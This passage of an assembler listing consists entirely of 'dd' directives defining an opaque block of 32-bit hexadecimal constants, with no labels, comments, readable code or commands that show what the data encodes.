1E2B00D5h, 2E3A44F4h, 0C500BF9Fh, 214362EEh dd 0C6D282h, 766E0993h, 925229B3h, 0B6475600h, 0D670CC41h dd 258C07D7h, 0E0C726F2h, 0E276F4DEh, 8E69BC1Fh, 0F70D6680h dd 3ECF649Bh, 0C507B1DDh, 0D0EF372Dh, 28074F58h, 248DA500h dd 25DDF365h, 64260018h, 0EE0F8BD6h, 91005FA7h, 0A14045A9h dd 68174Fh, 0C0BD5D29h, 54FB1423h, 9D09B303h, 0B8F524h dd 0DE078E20h, 57F9D4B0h, 0EE3B7F00h, 0A4A152CCh, 0C76E18DAh dd 7582841h, 0AFCAA300h, 0CDB5F4A8h, 15578CCh, 41BAD31Ch dd 0FC73905Dh, 470FE6B3h, 0A37EC4FFh, 4D215Fh, 0FB5BD841h dd 0E5E1ABB9h, 0DDECCF07h, 0F500B6Eh, 7910A633h, 0DA731816h dd 0B2CE807Fh, 9C254B07h, 38D09A66h, 0DFD0EDh, 0E137CB7Eh dd 8CC16AE6h, 4F9C5B00h, 0B919C810h, 79D23AA9h, 0DDA45900h dd 0B263F36Fh, 0C31B3Fh dd 5A246836h, 0C496E7h, 9163E90h, 288A947h, 91ABDD18h dd 0EF2530h, 6C065CA4h, 0A6AEA38Ch, 10F118C3h, 91500012h dd 780A7F7Eh, 600F5D37h, 806AAE86h, 6C844311h, 5C243C92h dd 4E01CC40h, 3F86789h, 8BD03412h, 6BA018FAh, 64DF7183h dd 26D1A900h, 9D1F16A5h, 5C211C7Dh, 8DEEC058h, 612C1207h dd 780074FCh, 0EAA4E5E8h, 107DA2h, 454CF3FEh, 15B28BB3h dd 0C36B8D00h, 7C239616h, 630FF206h, 172EC907h, 0EF561806h dd 0E065D8h, 0E0276AC9h, 93A1F6D2h, 0B9698433h, 2535F8BDh dd 88080E67h, 0FF80E123h, 7AFBE7C8h, 241F287Ch, 0DA033E18h dd 390FC95h, 435F1618h, 0C0E53D87h, 0FDE8A1C9h, 0B1CD2217h dd 3A2100Fh, 90835737h, 0E7DC6DBh, 764EE275h, 2023BF86h dd 1ABD9600h, 370E0B47h, 32C906C3h, 4057EA2Ah, 293CFA01h dd 826B5F20h, 691968B6h, 2B02D146h, 66DB3B84h, 21B90331h dd 0AB1AD100h, 0AF455BE5h, 9422A900h, 84DDDC73h, 0A3D0C492h dd 5B6BC3E8h, 0C20068A6h, 2A2B1140h, 31103B9Ch, 56083421h dd 0E12080E9h, 0BF6E1154h, 1B5D0018h, 6BFA1CB3h, 81EEEF28h dd 0FDDCB0C7h, 0A4427905h, 0C0BE50Fh, 95F02FC0h, 8102460h dd 482F4h, 0CDD180E6h, 8D41E96Dh, 0F6DC140Ch, 7B2E12F5h dd 0C7030059h, 8EC1BAE3h, 0EAEC90A4h, 0F2DAB90Fh, 4E2AC070h dd 6B92FDh, 8B69317Fh, 6250C130h, 0BB057300h, 0D6B988FAh dd 0F2A726Eh, 17DDB82h, 2EF1AE00h, 5360D773h, 8D0F0232h dd 764FF06Dh, 0A8CAA39Eh, 5D3E68h, 2DF4C84Dh, 0E13A48B0h dd 78FA7600h, 0E5ED280Eh, 0B7EA0079h, 0BCEBF11h, 777B8FCh dd 2056E600h, 83B22119h, 411D10Eh, 10F7DDA0h, 748810C3h dd 3124C0B1h, 20C70053h, 2C76EF83h, 0A9F8D484h, 1594901h dd 0DE67D890h, 0C5DF2888h, 85F26184h, 0A5426D08h, 0C4FB2275h dd 21135D23h, 6B108151h, 0C3C478Ah, 6551F55Dh, 66B32284h dd 44296360h, 6C1B55h, 511222CFh, 7CE1E4A2h, 6DDFB500h dd 0FAB2B63Fh, 0B9E90385h, 645F0F68h, 30342EF0h, 3B397AFAh dd 46810387h, 98289AB6h, 1849C15h, 0A69EC2B0h, 0C499834Ah dd 74002E38h, 60C67CB9h, 3D189h, 0A7B096CAh, 8A7F4748h dd 0EE791700h, 0C7F7AF34h, 0B70A037Bh, 0B43DE2CCh, 40279DD1h dd 5705B1B8h, 0F5808C03h, 987ED6D4h, 0CEE30Dh, 0CD2CF7AEh dd 0D0694614h, 0BF0010DCh, 1E22F465h, 0CEB40F3Eh, 32822C9Eh dd 0E4A1BD25h, 60A3A14Fh, 1DF85463h, 518CE503h, 0C88BF4BBh dd 983A36h, 4347406h, 0CF8B79Dh, 32F5D30Fh, 4B6DA018h dd 0FAF3BE57h, 0BA65078Eh, 13B616F4h, 0DCC092BDh, 0C200B5E4h dd 91D76CB9h, 7642EA2h, 0CC7C9FACh, 0F6502042h, 0FE2636E5h dd 0BF3D1F11h, 2526808Dh, 241FBDC5h, 0AA9D3C69h, 1C010E93h dd 56641DCh, 0E447B8C8h, 0B90E0F4Dh, 0C0D52554h, 0B095F250h dd 0C235003Bh, 9D5D9E60h, 900B1A6h, 0AD8C380h, 0FBD9CFh dd 0F4974377h, 8C745C7Dh, 33302801h, 5ACA8D6Bh, 0AFBCE8h dd 0EEDEB0DCh, 0FD3A38A5h, 0C4A0C67Bh, 6600F6B3h, 45C7BB48h dd 594187h, 0FE517895h, 6722CB91h, 0D401EE00h, 0F83323DCh dd 0BBD8009Dh, 0E7E593CEh, 3F035197h, 0EB7B235h, 4824BAB4h dd 0EAA761Ch, 376D4A7Ah, 8FF7BB47h, 64E4DE40h, 100413Dh dd 7943926Fh, 24254C42h, 0FEE7CAh, 2A907BCCh, 0FC065CB5h dd 0E010C0AFh, 0AE380010h, 0C5E112ECh, 0E8120CC1h, 0E009D7A7h dd 305018C3h, 0C1D9005Ah, 815D58EEh, 84002405h, 947934E4h dd 0A6D8F8h, 0F0A70928h, 7BE38F4Eh, 2686D60Fh, 0ACC0AEDEh dd 217172h, 28FFCD25h, 2B99F4BEh, 0FA48CEE6h, 0F8560091h dd 51C93730h, 0FF3C0783h, 20933885h, 8E817CA8h, 46CE8201h dd 21F4505Eh, 3DEC95CCh, 9A00D7D2h, 0BFD31792h, 2006F1Fh dd 9636E368h, 2428300Bh, 681EBDh, 9484216h, 873F88DAh dd 0ECBF8797h, 0CC907AA7h, 0E083D0B8h, 1BCE00D3h, 0B2A04249h dd 0FA00A4AEh, 5190DCCFh, 4CD81h, 63E210C2h, 5CC83F0Fh dd 0FC45B500h, 0DA18CA4h, 0AB5400CFh, 89DC23D7h, 787BBD38h dd 16D93B33h, 0F44F88F7h, 0A10401F6h, 7770205Bh, 89B7E4D5h dd 603D685Ch, 96095F20h, 2544005Dh, 82108BB9h, 0C800244Ah dd 16AC9E4Eh, 0A7E3F8h, 3216CAEh, 7B468B37h, 12384A00h dd 0CB9F40A6h, 0F7EA03E2h, 26D80E16h, 78DDB2C0h, 33C28C07h dd 1930E918h, 0C51F31h, 5A69162Ch, 7AB6523Dh, 9F81620Fh dd 59EB41h, 4B8F81Ah, 9B5A0005h, 0D334F46Fh, 28C07BB2h dd 51ECB3F5h, 82E100EDh, 73B957B0h, 7200CCE3h, 56FB5A04h dd 72E7A55h, 0AE08D916h, 9629A0B5h, 3B006F1Ch, 97DD1A03h dd 14317EF0h, 0F21F2636h, 0BB6C12h, 0E9B18C58h, 66053C9Bh dd 7495B8CBh, 7C32F000h, 3CDEF91Fh, 0D480613Ah, 278757CAh dd 6A009ADDh, 0F54C457Ah, 31048E2h, 4D9F1379h, 0FEA08292h dd 96037593h, 814903ECh, 425EA009h, 0EB5A009Ch, 47A36315h dd 0A809377Ch, 0D824C9h, 0D6126039h, 465F0080h, 8DC092CBh dd 810070BCh, 3C740B07h, 9352896h, 452AB46Dh, 85D46780h dd 2200F70Ah, 9CE3E86h, 78B9ADh, 2EB2088Fh, 0F84FC68Eh dd 5AE01F00h, 0BA35470Ah, 1CF500ADh, 9B0659C4h, 0AB0030DBh dd 0EE88B74h, 5F44AFh, 0F583315Ch, 5316BE6Ah, 0D1528800h dd 92071B8Fh, 0A1039015h, 7BF0F76Fh, 73E101A4h, 0FD58A845h dd 1B0BB47h, 7D9EDDE8h, 48E008F6h, 2682ECBCh, 0D3B0DEh dd 490D36F1h, 6D0004D3h, 174421D2h, 59BAA5E6h, 6B0F04C5h dd 63C1D7D4h, 20C8AD56h, 9E2C0408h, 7040C7Ah, 10D07C82h dd 0CB6B1h, 42212A2Dh, 46AB9E3Bh, 0ED968803h, 0D0CB9948h dd 24C27BCEh, 249D86h, 0B6F63671h, 42002FD2h, 519906EAh dd 1E2128B1h, 0C0C4B70Eh, 1833E7Ch, 34E395DCh, 161DBAB0h dd 0EB40280Fh, 0DF8B59D5h, 0B2DD0040h, 3FA5E7E4h, 0AB00AAA2h dd 0B7F12C14h, 0EEF78B05h, 0B430FF68h, 0B68E00D2h, 8FE9E5ADh dd 0D448C244h, 20D303B3h, 90233633h, 0AB0B239h, 0BD487B0Ch dd 407C1FC1h, 526A1F78h, 75286227h, 0C300809Eh, 4EAA0E05h dd 0A0FC58h, 8933A991h, 0F240E916h, 4AC7B70Ch, 36D21F5h dd 98C0A407h, 7C1E85AAh, 0EF402E63h, 0A26CCA32h, 0E37320h dd 0B6DF2D4Fh, 7CF9EB8Bh, 93D24600h, 30038CCAh, 57BE0059h dd 9F3B770Dh, 37734487h, 0EF12000h, 0D57AF803h, 0A2E60B85h dd 787255Ah, 0F6571012h, 0AB165B39h, 660049D0h, 0A982A801h dd 966707FAh, 0A14C5581h, 0F485DC76h, 1F50E702h, 0F30ED895h dd 1712C3CCh, 2DBB1C00h, 1B09733h, 875B2F78h, 0E5887F32h dd 38DC4D0h, 40189400h, 72782B34h, 86C400BAh, 1DB51795h dd 130169D2h, 4EB90D2Ch, 0A04004F9h, 1748EF97h, 2089B49Fh dd 310FC074h, 200018DDh, 9799E52Eh, 5EBF1682h, 7DC000ACh dd 2588F2E3h, 0DFED1900h, 30A0C88Eh, 0C49E00E4h, 581A264Bh dd 38E86493h, 5076D5EEh, 3B7FE901h, 0D02E653Dh, 0C5F81E8h dd 0D622E1FCh, 17E01F20h, 0DBD17318h, 0AFDA10h, 1A3CDE84h dd 6303233Ah, 3E01477Dh, 0C0FE01B8h, 0EBC870A6h, 0B44E005Ah dd 0C996764Dh, 0EE00EA49h, 6EED5546h, 7FF273h, 0E2D96856h dd 22867790h, 0C04FDD00h, 74DC82C9h, 41800013h, 8DB50E89h dd 7E7744D3h, 7C85B401h, 0C3940439h, 71F8F4h, 605B6519h dd 0D50EBF61h, 7300A67Bh dd 0AFEA8817h, 18CC1E7h, 0C6EC0C18h, 0C30A2630h, 80E9800h dd 0F9C1CD05h, 9F7E00CCh, 0DF91FD34h, 0EA06A919h, 2FF447F1h dd 0B1400E8h, 96F7BFB5h, 0F80076FDh, 0DA900F9Fh, 0BD9E7Fh dd 8B665A2Ah, 3FA42924h, 0E57D9301h, 0B3E2DE8h, 0A1E960h dd 5780ED05h, 807AF44h, 0A20EF300h, 95902486h, 8A030652h dd 0F8BCD656h, 1207701h, 47B5D355h, 7A8BC4h, 0B38DF1A5h dd 0A494B0EFh, 22998500h, 2272951h, 66FEECh, 0B1E4A8FFh dd 0AC05CC06h, 10F77430h, 0F1B69h, 0F6E985FBh, 0EBEEDAD8h dd 0AC185C00h, 2E3721C0h, 8984249Ah, 70A70000h, 0E9880C19h dd 228FAB03h, 0B0C41506h, 548A2EDh, 0A924BD65h, 7BFDC3F6h dd 0F13A5A98h, 0EB46350Eh, 0CFED0017h, 3B6832Eh, 6FF79AB8h dd 99B32375h, 4F043AA0h, 6A8C10C0h, 0CF133Ch, 0A2C44314h dd 0E8961658h, 40EFEB00h, 0CE796089h, 0F89F0152h, 74DEEECBh dd 7A09D023h, 0AE47E900h, 0DC99A457h, 5D830002h, 743485Fh dd 0A7000418h, 976D771Bh, 0E67053h, 7D3AACC2h, 0B360929Ch dd 6B7B8200h, 2F29B08Dh, 76787CC3h, 0E3B8A979h, 55D970h dd 48BC2C77h, 0C1E27590h, 600FA401h, 1A86D776h, 9971F8h dd 3719EBA7h, 7BFE9A41h, 5F486474h, 0E7067EACh, 0CC8BBD32h dd 88E810h, 96799F0Fh, 0F43E3BA3h, 43BC3203h, 0A8B185F5h dd 1EE3C742h, 0C07C9931h, 8C0FAA2Fh, 306D691h, 0B17549F3h dd 6125004Ch, 115D3DCh, 2E008448h, 0B36C8BF1h, 8D8A41h dd 4224542Bh, 681E0277h, 0AE716503h, 0C80FD9E4h, 1D0D8721h dd 802C9A32h, 5F5CBEABh, 0D57FFD2Eh, 414FFC00h, 60548D38h dd 0AAE81C35h, 7BB1C3CFh, 59986B87h, 0B500D783h, 252B5720h dd 8AFE0Ch, 0AFE7C889h, 43F44515h, 0F4EDE224h, 2AA2F300h dd 0FCF82366h, 41310B1Eh, 5801376Ah, 0D43FCE50h, 0FD00C3C7h dd 70672AAEh, 4CDA70Ch, 5549B0AAh, 5ECC80FCh, 0DD0C7A59h dd 76F471F2h, 0BED2014Eh, 358B44FDh, 2805E7AEh, 0E958E2BFh dd 0B300BEBCh, 1E5AB51Dh, 813995Eh, 0E71Ah, 6E0D3851h dd 737ED6h, 84892C67h, 0C6B7804Eh, 64417407h, 6E30D983h dd 0A6B9EC4h, 38EEC123h, 77D800ACh, 0BFD099F4h, 942D7800h dd 1830DA6Dh, 12B10066h, 0C3DB1DBDh, 20254BEh, 24DD4B11h dd 513C4091h, 145602B8h, 0D297C16Fh, 7366A880h, 93079F1Bh dd 9EC60876h, 55BE67F0h, 57E82C0Dh, 0AA9B00B5h, 98966C37h dd 0C6739100h, 1A8F3D69h, 0A097601Bh, 9412224h, 96D1CE39h dd 0FA1EEAA1h, 2A007B53h, 6F2EFB85h, 9F700F3Fh, 42E076C3h dd 86983447h, 0F4E79707h, 6EB161CCh, 71FC8B01h, 0FEEA0268h dd 0E4480737h, 0ED0CA840h, 66284300h, 0F401E724h, 13A8EE13h dd 0F82017h, 3A27B82Ch, 962C9789h, 0C9187746h, 12541F8h dd 9E19C1CEh, 40BA1E80h, 0CA4DDEDFh, 3FEEED00h, 0B583AC7Fh dd 0BD878C5h, 6280653Bh, 600860Fh, 98606E48h, 8AB1EB00h dd 9399C7Eh, 9FC100C5h, 7245CEE4h, 2098FEDFh, 42BEFB10h dd 488692Ah, 11EACB0Fh, 1CC2804Fh, 61025552h, 0D9135C5Dh dd 0AC70C107h, 170CEE60h, 48A2C7Dh, 0C083D799h, 90D51910h dd 0E034F00h, 0A473ABC7h, 75501E7h, 0C29977F3h, 81DED854h dd 0B1E99C00h, 43649E6Ah, 40130009h, 387AEBD2h, 0E100606Dh dd 7976A4ADh, 0B86BC0CAh, 6AD51FC9h, 99531Bh, 4A9490C5h dd 3C00AC81h, 6E501E05h, 0ED0F0Eh, 3B385C89h, 0AAD2960Ah dd 7E0C5A00h, 0F20E508Dh, 628B2664h, 0C1107D00h, 3CC91AB0h dd 0A401062Ch, 0BF5D0F41h, 6EB1420h, 57AB9C73h, 0FF0210C8h dd 46E7DDE0h, 0F3C4609Ah, 21437FC7h, 0C800A0B3h, 0FC5CF9E8h dd 0AFC3003Eh, 0BBB557BAh, 0A276B7E2h, 0CC707800h, 62E52408h dd 8790095Eh, 83716Fh, 0B6A029DEh, 0D0160FA8h, 5400AA92h dd 520A8562h, 5FB40010h, 21F26DFDh, 60E9D9F6h, 33019B8Ch dd 0B7FAE5A0h, 0C300F02Fh, 0C41E09A4h, 7A57D1C0h, 0E3280800h dd 0B921762h, 0CAD07216h, 9AD54400h, 90031CE0h, 4A78E471h dd 47181E82h, 37ED805Fh, 0F6C2AE24h, 0C0071B8h, 1B4D44EBh dd 992E2BAh, 1D516769h, 0E08B9780h, 0EE003A4Ah, 210325FAh dd 0E46ECC7h, 595F62DBh, 0F56DDF60h, 960B1F7Eh, 2052B9h dd 0BEC17055h, 0FF9E2CCEh, 6646034Eh, 68F03C02h, 0B0A04A42h dd 2D004079h, 0EFE9F643h, 7E344C9h, 275CB92Ah, 853F924Bh dd 0B6A04860h, 30D4AC00h, 0F5AABF4Fh, 460F0022h, 0BB49F0BDh dd 45F441EFh, 0AE936113h, 5A9C3800h, 0F0F369BAh, 27780E0Eh dd 4033C9FFh, 231ABED8h, 6E173D38h, 0CCE02E61h, 0F1EE0A7Eh dd 0D0A0A7h, 753F37AFh, 4013C81h, 4938A2F4h, 4AFCDE2Ch dd 0FDB800ECh, 79F51A12h, 0ED00DFD7h, 0FEC5B660h, 0E7A6507h dd 4B52C4Dh, 64BBC9C0h, 0E0B21C46h, 74B1B00h, 0A573D0F4h dd 0C215CA9h, 5037C5Ch, 855754C9h, 0D840BF8Ah, 6E248A5Eh dd 0D500ADD3h, 0A246B48Dh, 0CFA03E1h, 0D941585Ah, 0DB917790h dd 0DC39FE00h, 0B13A3B3Dh, 0CD493BE2h, 0C0C7EE1Eh, 6F31E699h dd 930F5BCCh, 0AFD3AC25h, 203043EFh, 5827A89Ch, 0C7E28Dh dd 0F039D6DFh, 0A2165D81h, 0B565EE00h, 32E39F9Bh, 290B8A4h dd 0F2942856h, 0E060795Fh, 0C400B61Bh, 3C4073BCh, 123A1D4Ch dd 5BE59Ch, 0A42489FCh, 0AC009F29h, 98DFA01h, 0F257021h dd 40E705B4h, 0E780B90Bh, 0CD6D784Bh, 0C8358900h, 0AACC4A1h dd 6CE261h, 31442148h, 0E98CE2B6h, 0D3F3F600h, 60BDFEACh dd 0F4510019h, 855CBEDh, 661D8469h, 0A91E5A8Eh, 6E2C803Bh dd 3CEF9D94h, 48051F7Dh, 5EE400A8h, 2AE5C5C4h, 6ECC5618h dd 219330h, 7AC9D08Eh, 75115267h, 1E88B300h, 0F94C8BE3h dd 9406117Bh, 0E63C00C9h, 9590C4F6h, 0D12A288Fh, 7C61C33Ch dd 19B89328h, 0E9B06275h, 0A40D5A00h, 351339ECh, 8FA83042h dd 95056930h, 50DBC933h, 0AFBE9321h, 28BEE2C6h, 0EAD7163h dd 6D67FB58h, 24AAEEC3h, 32C2E4A8h, 0CF6E141Ch, 0CDD1F504h dd 0D974DB80h, 0EA3ECF8h, 0C95E5F9Fh, 1C3908E0h, 0E4000AB2h dd 76245D84h, 0FCC0493Dh, 73943E82h, 2A05DC80h, 86E01B3Eh dd 0DFD55F00h, 6776FDA3h, 7FF2F06Ah, 0C2E20EFFh, 65C01F9Ch dd 0F733AB9Dh, 418CA11Fh, 1D813D83h, 77660904h, 0ED00B3D6h dd 5278021Bh, 0EA5DE71Fh, 9E535B8Fh, 80157D09h, 0DFE6BCD3h dd 44323D07h, 4DF2007Eh, 3E18CDEDh, 0AB000E27h, 0CC041CD2h dd 27496E0h, 5FDC33BEh, 5540C2E3h, 870AC1A5h, 0A8E6C5C9h dd 0B4F53687h, 0F6EC4CE0h, 12FF0030h, 48C4D722h, 9A008E91h dd 2FB0737Dh, 19BB2CAh, 0CD34EB8Bh, 0C80EC8F7h, 0D903B7DCh dd 86C99009h, 1CBC008Eh, 0B63D1E3Ah, 0CB029A78h, 83E6029h dd 0A20F4086h, 35B4001Dh, 0EAAD2B31h, 300EB7Ah, 0C387F9F6h dd 150BDDh, 0B6751E9Fh, 681D8B93h, 6B744E07h, 0F981A083h dd 5170A603h, 18970048h, 4F945ABDh, 1E003C4Dh, 9C02E401h dd 798A9CCh, 6BA1997Bh, 0B8095060h, 0E300AA7Fh, 0C834C611h dd 4C89AEh, 0ECFBDC67h, 0DDACEEF4h, 3DE1EF00h, 784008EAh dd 3EFCD1h, 0DFF27B3Ah, 37FF628Ah, 0F4A6CC00h, 8BEFCDEBh dd 0F0B90115h, 5230504Dh, 2469E158h, 0FF031A70h, 2ACFC32Fh dd 0C11AD22h, 2433FC04h, 0EB0C648h, 2D209DB1h, 4553F5A8h dd 46CC0200h, 5BDBCFA9h, 50B60133h, 25B003F3h, 3729909Fh dd 48C1F984h, 290A427Ah dd 22441B22h, 0CE246A81h, 132C9321h, 6044D49Fh, 42F2486Bh dd 832528F1h, 16AD3C04h, 4A53A644h, 67101475h, 0AA447788h dd 12012B21h, 0FF5082CBh, 2FE2593h, 2E408C14h, 2721CF04h dd 11E212DCh, 0C0B30879h, 52BFEF79h, 8812C2A6h, 0DF070337h dd 81E06310h, 0E3C673h, 0F659D0EEh, 69E20C19h, 4265FB07h dd 0E830D14Eh, 0EA336A9h, 0EFD57702h, 28B5E740h, 18F24774h dd 480F5800h, 16C2B0B8h, 809A00BFh, 0D26157D4h, 44E2D7C3h dd 8368AC00h, 0A2857E11h, 0B12C2625h, 543B0EB6h, 0AFAB807Dh dd 269F3E94h, 9E4CE403h, 0A8319ADAh, 1EFEA388h, 0C01E6091h dd 0FACF8934h, 3824838Fh, 96015158h, 0A0F11085h, 50802EFCh dd 0B7F8199h, 31E98653h, 0BF0CA783h, 0AE178790h, 10B5EC30h dd 369F976h, 9FBCD2E9h, 18D098E6h, 74393D56h, 0CCB6h, 35C1AC8Dh dd 69AE2E8h, 232CC419h, 7D0340D1h, 7E66ED68h, 0FF1000ECh dd 0B1F57031h, 2D7C43E8h, 85ED1D01h, 0ADB52844h, 6A0D4880h dd 679718D3h, 94015C01h, 87108B72h, 7BB7ABC4h, 82A6007Bh dd 0D926C2E8h, 84A04D78h, 450CDC98h, 104EE2F4h, 0CD5C0087h dd 0AC3ED726h, 5706467Dh, 7ACF11A3h, 38520120h, 10CDD993h dd 76AE60A4h, 80AF0F00h, 1FA4AD6h, 0B3630F15h, 0B8C0A99Ah dd 1445AAD5h, 52E11000h, 67C34454h, 7EF13E72h, 0B380C0BBh dd 6A74C15Fh, 0B60F1401h, 2016CE09h, 3318D67Fh, 7D610611h dd 3002EDE3h, 0CBD23800h, 0CE8477AEh, 9C7E0092h, 6307C231h dd 0B800504Fh, 9F752F5Ch, 198BE25h, 0E0FABACAh, 0D14ADF92h dd 4CEE70ADh, 18827D00h, 0FF8D412Fh, 6D210001h, 0A29DEB5Dh dd 1500C12Eh, 907FA56Eh, 0DD79BCh, 3B6C46F1h, 9CB9FCCAh dd 0AC8B2700h, 11375658h, 9740044h, 0CEBC0786h, 18010522h dd 0C1AE82AFh, 80E40CA1h, 49CF0028h, 0D477E76h, 2E0F16D2h dd 0E763AADBh, 9E509836h, 7150A0A7h, 93D006C3h, 11FA79F3h dd 53945E00h, 0FB5B013Ah, 448B0C22h, 3562E3A7h, 6BD024h dd 6AFF2B80h, 0E8A80h, 4E1DE0E2h, 0F4C47A3h, 0AFD9DB09h dd 0AA0D869h, 0CD51C6A7h, 958E0FECh, 766FDCE0h, 0C90EBAE5h dd 0E13944BEh, 0FF078CCCh, 0B870D3h, 587C4BD2h, 35B1097Ah dd 96C45D01h, 0ACCE4DF1h, 8911F8h, 58DB8DAEh, 5153C6C5h dd 7400EFEEh, 9A4BE0CDh, 4EA7B7h, 0C05458AFh, 0B550306Eh dd 353C9300h, 1C56A57h, 4B080228h, 0FA8E5B17h, 0ACE8055h dd 152E03Ah, 0A5887B3Fh, 60735581h, 0EBF6BA36h, 379A6D16h dd 15F7DA00h, 7853D5E9h, 0C45100CCh, 0AAC3312Bh, 9100133Dh dd 788D9804h, 2602CA5Dh, 30DD0Dh, 6B552819h, 0A9000E41h dd 0E3CD444Ah, 3877E72Bh, 0F00FEBCAh, 2408EE6h, 0EE4ABAA6h dd 0B69B4E00h, 41185475h, 34E1009Ch, 0C879EB4Fh, 5B00E3E6h dd 8DA65ED5h, 0DA4974h, 3386A820h, 0B7B0426Ah, 5DEC73Ch dd 0B808D25Bh, 0C5FF400h, 0FF509198h, 65951081h, 40A17511h dd 8C0E29C0h, 9376A505h, 9EC0CF90h, 90692160h, 0F5FE2Eh dd 92A8173Fh, 5635A337h, 9A590A00h, 0EDFB01B6h, 0AEE600DEh dd 31A16A2h, 0BD004C64h, 0F95FDA09h, 0BC8F9Dh, 2C316DB7h dd 3EACB1E7h, 0FBE00401h, 0FFDF679Eh, 4BA0330h, 0E78B267Ch dd 43A88048h, 41572DBh, 0E0313Ah, 0A549371Ah, 0A4137Ah dd 8B3C46DFh, 0F82502A6h, 611D400h, 0E287BED9h, 561400ECh dd 0C4E36EC5h, 0AF12DF40h, 0A8004578h, 0CE442FBEh, 7E960020h dd 46B5DE24h, 751C838Bh, 55401969h, 0AEA444A8h, 7DA0090Fh dd 68009F21h, 248F7B30h, 5973C300h, 81389506h, 46D41492h dd 8B02ACE5h, 6440C10Eh, 5BAD9000h, 286C005Fh, 1B358FE2h dd 3B0FF742h, 0EF115DA9h, 8BB2E0C9h, 267ECB3Fh, 859F9Eh dd 91BAEC7h, 8E01B53Bh, 0C5FCB14Dh, 0CC30EFF5h, 6E33006Dh dd 342F0F13h, 60304284h, 8BFB7003h, 103A2E64h, 0CD7F07B9h dd 214FB223h, 2BF027E0h, 0AC14BA00h, 0E7F16EFAh, 9528C01Eh dd 0E3E81DF6h, 0DA78D701h, 2C4093D5h, 0E078C30h, 20272EBBh dd 7CC458Ah, 0D08EC41Fh, 0F6C86D56h, 0F4402400h, 5A87FA31h dd 3A813E67h, 0A2E46402h, 0BCC0B571h, 13077CC5h, 1B97BF7Dh dd 20EE3250h, 279400E7h, 64BE2D5Fh, 17003B8Bh, 0A67CDC0h dd 0DFD9BFh, 6C901D21h, 9E306F3Ch, 8EC86A09h, 5FACA0FDh dd 5C2417E1h, 0FF00B960h, 0E457C5E3h, 0E0FE5A04h, 5010F903h dd 0B8028DFEh, 389D7028h, 6680DA07h, 7D5671AFh, 3483D6Ch dd 0CAD600BCh, 23393A58h, 0F467002Eh, 31A4C0EDh, 6200E03Bh dd 0F5A78A6Fh, 436A0Ch, 22C552DAh, 0C7AADD3Ah, 7969700h dd 0E0253BE6h, 19500C8h, 0F343FBD5h, 23078B3Ah, 9C681441h dd 619A5020h, 149B0DDh, 67B849BFh, 20D5808Bh, 0EC07F2E4h dd 0B77E46FEh, 29CCBC60h, 0B375042Ch, 824C8F89h, 0A480D144h dd 73098AD9h, 7A015CB8h, 216899C8h, 5880DFEEh, 59D72260h dd 18074A17h, 0C728F6B8h, 2ACC9190h, 0F17CB7h, 0E030AC98h dd 0B5EDA59Fh, 0EF4CC700h, 0E10A5F24h, 3690077h, 0B0B6E08Eh dd 3B00FEA8h, 0E531B4FDh, 4142FA0h, 0A662CEC0h, 0E4C80F7h dd 7B00B96Dh, 0D6EF40FFh, 0B8CE635Dh, 0D907004Eh, 9EE831Bh dd 60B8170Ch, 350099F4h, 0DC6EE7CBh, 0D5AD2Ah, 37E204F5h dd 0B93149D6h, 20900DE6h, 0BBCECB03h, 80A61AC7h, 3E039475h dd 9D075844h, 0E97B071Ch, 0D91D8C80h, 0FF00DE4Eh, 2BF36076h dd 0E88A6C92h, 0AA7707B7h, 42DF4D46h, 60DD3595h, 49A6A24h dd 284741D4h, 0C91580FAh, 2701CDF8h, 0D3400F35h, 7C200D61h dd 8EC700BEh, 2387E999h, 830085F3h, 0DF4A3817h, 0EC86634Eh dd 0B03363ABh, 62D0FA75h, 551F71CCh, 0D700E2C0h, 0C7E9CED5h dd 0D6201EC2h, 73753E7h, 0F0139E48h, 8F776801h, 2E31F81Dh dd 4D37147h, 5F0649C0h, 55BC048Eh, 85366239h, 738548h dd 3D849DFCh, 6A76634Ch, 0F5C22A0Eh, 0AE871E62h, 1D81ECDCh dd 0D9E0E3B8h, 0AC300ACh, 7DD2F2EBh, 3490ED19h, 0AF29201Dh dd 39A45C9h, 0D073E11Ch, 5DEAEC3Eh, 6A00E8B2h, 869635CDh dd 6B3A51ACh, 0DAD0180h, 6E93C67Fh, 0BC61F4h, 92601129h dd 39C7A787h, 5FE6CC1Eh, 5C552640h, 3FD24E9h, 8879660Ch dd 4AB89D8Bh, 5D743C68h, 35DCD504h, 84989C2Eh, 9FEF0BB7h dd 0E8000EEBh, 0FA67D14Fh, 789DA600h, 488F28C7h, 0B8C060FCh dd 0A82730EAh, 31418109h, 291490D8h, 0EF00079h, 6DD7DACAh dd 6500432Fh, 983716FAh, 113ECBh, 31FD5A01h, 9989BE92h dd 0E1303C07h, 4C50EF2Fh, 0E42903C0h, 0CBBB869h, 223BACE9h dd 0FCB878B0h, 7C5C0F26h, 49B1C600h, 11F2361h, 7C2C06BFh dd 0E070E785h, 1300FBD7h, 736C94FAh, 0B36F927h, 0ACDAB96Bh dd 0D0340380h, 9D7BEFA1h, 0F3C32D00h, 8B24C73h, 3A700Eh dd 0F26C611Dh, 674AFF25h, 0A474B000h, 7B2FDA84h, 0CB0C25A1h dd 0C30065F6h, 5E2B91F5h, 3922830h, 0B94F3EE0h, 1ACA9A8h dd 0A4618782h, 0C0231F46h, 5A7C8BAAh, 672BC20Ch, 0E07B3040h dd 0FCB87989h, 0B7CC1702h, 0FF160782h, 70060B25h, 70982841h dd 4E5F6800h, 1095E8BEh, 35D90059h, 0F7F0A0E0h, 0A612B2D3h dd 7400397Eh, 0CD15B9B4h, 0EF042E42h, 0D58C0095h, 0BADECCD1h dd 84125E00h, 0DD75144h, 3A50004h, 0EFFA81B4h, 0CD005223h dd 0AB4B7BC1h, 18881366h, 5867561Dh, 8904A6F0h, 0E9402DFFh dd 14D0A080h dd 18AB0069h, 0C31CBADDh, 4C48DB24h, 9CAF0AE4h, 5600C026h dd 0BE912D3Eh, 710F009Dh, 0D619469Eh, 4F3B5D0Ah, 7C5C8372h dd 0A868D5D0h, 56A88Ah, 2A1A10D7h, 0F578CF81h, 5F6B7300h dd 0E2097541h, 2C085CA3h, 0A1F7007Eh, 0D5B052Bh, 41002EFDh dd 5FB21C02h, 0EB11C5h, 0C315731Fh, 6D22208Dh, 95A13902h dd 80DDB87Eh, 0AB4A9DA0h, 64620947h, 0FCA06F16h, 0E1335E70h dd 35F613Bh, 2A6BC07Ah, 0EB99901Dh, 16E33A07h, 0C9D80D00h dd 0BF081757h, 20C7C103h, 0A8DF1D78h, 0F67234EFh, 79390109h dd 2AD4DA40h, 8FC080BBh, 2CF2BA9Ch, 0BE59007Bh, 736591B2h dd 0E03B674h, 